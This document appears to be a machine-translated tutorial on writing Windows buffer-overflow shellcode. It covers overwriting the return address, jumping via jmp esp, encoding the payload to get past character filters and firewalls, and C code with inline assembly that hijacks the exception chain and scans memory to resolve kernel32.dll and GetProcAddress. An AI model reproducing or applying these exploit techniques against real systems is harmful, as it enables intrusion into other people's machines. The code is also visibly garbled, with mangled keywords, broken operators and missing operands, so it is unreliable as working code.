Because unix and other systems have the user concept, they often obtain the common account first, and then log on to the system to obtain the ROOT permission by loading a SHELL with overflow, which is convenient to call, therefore, SHELLCODE is generally relatively simple to write. However, WINDOWS systems often do not provide the login service, so the SHELLCODE of overflow attacks often provides SOCKET connections, and the program needs to be loaded to get SHELL, etc, WINDOWS does not call the int2e interface as well as the int80 specification for unix systems. Therefore, APIs are generally used, and the API function addresses vary with system versions, therefore, it is troublesome to compile SHELLCODE, which is a practical and common point in WINDOWS. After some time of thinking, we can find a better way to write SHELLCODE in WINDOWS.
1. Determine the overflow. Use the method of overwriting a ret command address near the overflow point so that you only need to know the approximate range of the overflow point.
2. Locate SHELLCODE. If you use the ESP register to locate the object, you can locate it as long as the previously overwritten RET address is followed by a command address of the JMPESP function.
3. the RET instruction address and jmp esp instruction address are fixed by the address in the code page, 54 C3, or the WINDOWS Address in FF E4 and C3.
4. SHELLCODE is directly written in C language to facilitate writing, modification, and debugging.
5. SHELLCODE is uniformly encoded to meet the SHELLCODE character restrictions of the application conditions. It is decoded using a small assembly code, so that special characters are not considered when writing SHELLCODE.
6. communication encryption to deal with firewalls, implement FTP functions, and enable memory to take over advanced applications such as WEB services directly. The following describes how to compile a common SHELLCODE. The APIs used in the main SHELLCODE are located by using GetProcAddress. The library must be loaded using LoadLibraryA. In this way, SHELLCODE only relies on these two APIs. Then how can we solve these two API addresses? The LoadLibraryA API can also be obtained through GetProcAddress in the system library KERNEL32.DLL. The key is to find the address of the system library kernel32.dll and GetProcAddress. Generally, applications load kernel32.dll, so the solution is to find the system library and API address in the memory. Fortunately, it is not difficult to understand the data structure of WINDOWS modules, it mainly adds exception structure processing. The following is the code of the VC6.0 program:
Void shellcodefn ()
{
Int * t [3];
FARPROC procgetadd = 0;
Char * stradd;
Int imgbase, fnbase, I, k, l;
HANDLE libhandle;
_ Asm {
Jmp nextcall
Getstradd: pop stradd
Lea EDI,
Mov eax, dword ptr FS: [0]
Mov dword ptr [edi + 0x08], eax
Mov dword ptr FS: [0], EDI
}
Counter T [0] = 0 xffffffff;
Except [1] = stradd-0x07;
/* Save the exception structure chain and modify the exception structure chain. The SHELLCODE takes over the exception */
Imgbase = 0x77e00000;
/* Search for the start address of KERNEL32.DLL */
Call getasktretadd
}
/* Get the return address after an exception */
For (; imgbase <0xbffa0000, procgetadd = 0 ;){
Imgbase + = 0x10000;
/* The module address is 64 KB to speed up */
If (imgbase = 0x78000000) imgbase = 0xbff00000;
/* If this is not found, it may be the WIN9X system */
If (* (WORD *) imgbase = 'zm' & * (WORD *)
(Imgbase + * (int *) (imgbase + 0x3c) = 'ep '){
/* Module header of the module structure */
Fnbase = * (int *) (imgbase + 0x3c) + 0x78) + imgbase;
K = * (int *) (fnbase + 0xc) + imgbase;
If (* (int *) k = 'rek' & * (int *) (k + 4) = '23le '){
/* Module name */
Libhandle = imgbase;
/* Obtain the module header address, that is, the module handle */
K = imgbase + * (int *) (fnbase + 0x20 );
For (l = 0; l <* (int *) (fnbase + 0x18); ++ l, k + = 4 ){
If (* (int *) (imgbase + * (int *) k) = 'pteg' & * (int *) (4 + imgbase + * (int *) k) = 'accor '){
/* Name */
K = * (WORD *) (l + imgbase + * (int *) (fnbase + 0x24 ));
K + = * (int *) (fnbase + 0x10)-1;
K = * (int *) (k + imgbase + * (int *) (fnbase + 0x1c ));
Procgetadd = k + imgbase;
/* API address */
Break;
}
}
}
}
}
// Search for KERNEL32. DLL module address and API function GetProcAddress address
// Note that the search page is not displayed here.
_ Asm {
Lea edi,
Mov eax, dword ptr [edi + 0x08]
Mov dword ptr fs: [0], eax
}
/* Restore the abnormal structure chain */
If (procgetadd = 0) goto die;
/* If the GetProcAddress address is not found */
Die: goto die;
_ Asm {
Getjavastretadd: pop eax
Push eax
Mov edi, dword ptr [stradd]
Mov dword ptr [edi-0x0e], eax
Ret
/* Get the return address of the exception and enter it in the Exception Handling Module */
/* Exception Handling Module */
Errprogram: mov eax, dword ptr [esp + 0x0c]
Add eax, 0xb8
Mov dword ptr [eax], 0x11223344 // stradd-0xe
/* Returns an EIP pointer when an exception is modified */
Xor eax, eax // 2
/* No exception prompted */
Ret // 1
/* Exception Handling returns */
Execptprogram: jmp errprogram // 2 bytes stradd-7
Nextcall: call getstradd // 5 bytes
}
}